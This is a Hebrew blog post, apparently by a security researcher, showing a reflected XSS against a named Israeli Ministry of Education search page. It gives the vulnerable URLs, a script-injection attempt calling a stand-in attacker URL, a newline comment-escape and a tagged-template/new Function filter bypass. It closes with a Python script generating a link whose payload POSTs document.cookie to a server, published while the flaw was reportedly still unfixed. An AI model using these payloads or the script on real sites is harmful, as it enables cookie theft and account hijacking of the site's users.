כיום ישנם אתרים רבים של משרד החינוך המכילים מערכת ישנה לחיפוש תוכן, החלטתי לחקור את המערכת ולנסות לחפש בה חולשות.

האתר הבא הוא אחד מן האתרים המכילים את המערכת והוא אתר שעליו אעבוד במהלך ההסבר:

http://cms.education.gov.il/educationcms/units/avodotgemer/default.htm

ניתן לראות בצד הימני של האתר שדה חיפוש

החלטתי שזה מקום מתאים לחפש בו xss, הזנתי בחיפוש את המילה test, לחצתי אנטר ולאחר מכן הועברתי לדף התוצאות

http://cms.education.gov.il/EducationCMS/Units/AvodotGemer/SearchResultsPages/SearchResults.htm?kw=test&mdsp=&css=/EducationCMS/UNITS/AvodotGemer/Css/Styles.css

ניתן לראות שהאיזור בו התוצאות נמצאות הוא בעצם iframe

נכנס לכתובת השייכת ל iframe על מנת לאפשר לנו לחקור את המערכת בצורה ברורה יותר

http://cms.education.gov.il/SearchResults/SearchResultsPage.aspx?kw=test&mdsp=&css=/EducationCMS/UNITS/AvodotGemer/Css/Styles.css

ניתן להבחין כי התוכן המוחזר לאתר מכיל ערכים שמועברים בפרמטרים של הכתבות הנשלטת על ידי המשתמש

הפרמטר css מוחזר לעמוד בתוך תג import ל קובץ css

החלטתי לנסות להזריק קוד דרך פרמטר זה ולקוות שהשרת לא מסנן את התוכן

http://cms.education.gov.il/SearchResults/SearchResultsPage.aspx?kw=.&css='><script src="http://{ATTACKER_URL}/code.js"></script>

לצערי ה xss auditor קפץ וחסם את ניסיון ההזרקה של הקוד

החלטתי שלנסות לעקוף את ה xss auditor זה יותר מידי ולכן המשכתי הלאה…

כאשר מכניסים ערך לפרמטר kw הוא מופיע בקוד המקור של הדף כערך של משתנה javascript

נוכל לנסות להזריק קוד javascript לביטוי על ידי ניסיון פשוט והכנסת התוכן הבא:

'; alert(1)//

בתאוריה הקוד שציינתי אמור לצאת מן הביטוי, לקרוא לפעולה alert ולסמן את שאר הקוד כתגובה

var searchKeyword = '';alert(1)//';

לצערנו זה לא מה שקורה פה והשרת מסנן תווים ומונע מאיתנו לצאת מן הביטוי ולהריץ קוד מה שמאשיר אותו עם האפשרות היחידה והיא להמשיך הלאה

ערך הפרמטר mdsp בתור משתנה javascript

בדומה למשתנה kw ערך mdsp מוחזר לעמוד כמשתנה כחלק מ javascript אך הפעם מסומן כתגובה.

ניתן לראות שמדובר פה בתגובה של שורה אחת ולכן אם ננסה לרדת שורה נוכל לצאת מהתגובה לנסות להריץ קוד
נכניס לפרמטר את הערך הבא:

%0Ax=1;
  • %0A = \n = new line

התשובה מן השרת תכלול את הקוד הבא:

// http://cms.education.gov.il/SearchResults/SearchResultsPage.aspx?kw=.&mdsp=%0Ax=1

<script language="javascript" type="text/javascript">
    <!-- 
    var searchKeyword = '.';
    var searchMetaData = '';//'
    x=1'; 
    -->
</script>

ניתן להבחין כי ירידת השורה אכן עבדה והביטוי x=1 קיים בקוד ובמקרה זה נקבל שגיאת תחביר מכיוון שיש לנו את שארית הביטוי שהשרת הוסיף אחרי הקוד שלנו (';)
ניתן להיפתר מבעיה זו על ידי הוספת תגובה אחרי הקוד שלנו, כך שהביטוי הבא יווצר ללא שגיאת תחביר:

var searchMetaData = '';//'
x=1//';

עכשיו אנו יודעים שיש לנו פוטנציאל להזרקת קוד נוכל לנסות לפנות לאתר עם הערך הבא:

%0Aconsole.log('xss')//

בתאוריה על ידי הרצת קוד זה הפלט xss יודפס ל console בדפדפן שלנו, אך במקרה שלנו השרת מסנן תווים ולכן זה לא יעבוד.
לאחר כמה בדיקות הגעתי למסקנה שהתווים שהשרת מסנן הם:

( ) " '

אז איך נעקוף את זה ?

בשפת ה javascript המודרנית יש לנו כמה פיצ’רים מגניבים, אחד מהם הוא Template literals ובתוכו Tagged Templates

  • Tagged Templates - מאפשר לנו להשתמש בתבנית (Template String) כערך לפונקציה מסוימת

השימוש ב Tagged Templates מאפשר לנו לקרוא לפעולה ללא סוגריים מסולסלים, מה שנותן לנו את האופציה לבצע את הדבר הבא ולקבל קריאה תקינה לפעולה, לדוגמא:

alert`Hello World`

נוכל להשתמש בשיטה הזו ולכתוב payload מתאים:

%0Aalert`xss by amit`//

נכניס אותו כערך הפרמטר והפתעה ! קיבלנו alert

אבל אנחנו רוצים להריץ קוד לא רק להקפיץ התראות !

המחשבה הראשונה שעלתה לי לראש היא שימוש ב Tagged Templates, eval וstring escaping פשוט

  • השימוש ב string escaping מאפשר לנו לעקוף את הפילטור של התווים מכיוון שהצירופים האלו מפורשים כמקור שלהם כאשר נמצאים בתוך סטרינג

מכיוון ששימוש ב Tagged Templates מעביר את הפרמטר לפונקציה המבוקשת כחלק ממערך, הפעולה eval לא תעבוד ולכן נצטרך לחשוב על שיטה אחרת לבצע הרצת הקוד

eval`alert\x28document.domain\x29;`

// same as: eval([`alert\x28document.domain\x29;`])
  • \x28 = (, \x29 = )

נוכל להשתמש בפעולה Function המקבלת סטרינג / מערך ויוצרת לנו פעולה חדשה

new Function`alert\x28document.domain\x29;`

// same as: Function([`alert\x28document.domain\x29;`])
// output will be
// ƒ anonymous() {
//     alert(document.domain);
// }

על מנת להבין את הפעולה של הקוד נצטרך לפצל אותו לשני חלקים:

  • החלק הראשון הוא הפעולה Function המקבלת סטרינג כערך היא ומחזירה פונקציה
  • האופרטור new אשר מבצע קריאה לפעולה

עכשיו רק נשאר לבדוק שאנחנו באמת מקבלים התראה המכילה את הדומיין תחתיו אנו פועלים על ידי שימוש ב payload:

%0Anew Function`alert\x28document.domain\x29;`//

נכנס לכתובת:

http://cms.education.gov.il/SearchResults/SearchResultsPage.aspx?kw=.&mdsp=%0Anew Function`alert\x28document.domain\x29;`//

מעולה ! עובד 😸

בזמן שחקרתי את הבעיה כתבתי לעצמי סקריפט קטן לייעול העבודה:

from urllib.parse import urlencode
from jsmin import jsmin

# minifying and escaping payload
payload = jsmin('''
alert(document.domain);
fetch('http://localhost:3000', {
    method: 'POST',
    body: document.cookie
})
''').replace('(', r'\x28').replace(')', r'\x29').replace('\'', r'\`')

# create a query string
params = urlencode({
    'kw': '.',
    'mdsp': f'\nnew Function`{payload}`//'
})

# append the query string to the vulnerable site
print(f'http://cms.education.gov.il/SearchResults/SearchResultsPage.aspx?{params}')
  • מכיוון שלא ראיתי חשיבות מיוחסת לבעיה החלטתי לפרסם אף על פי שהבעיה לא תוקנה עדיין. (פורסם ב 25/11/2019)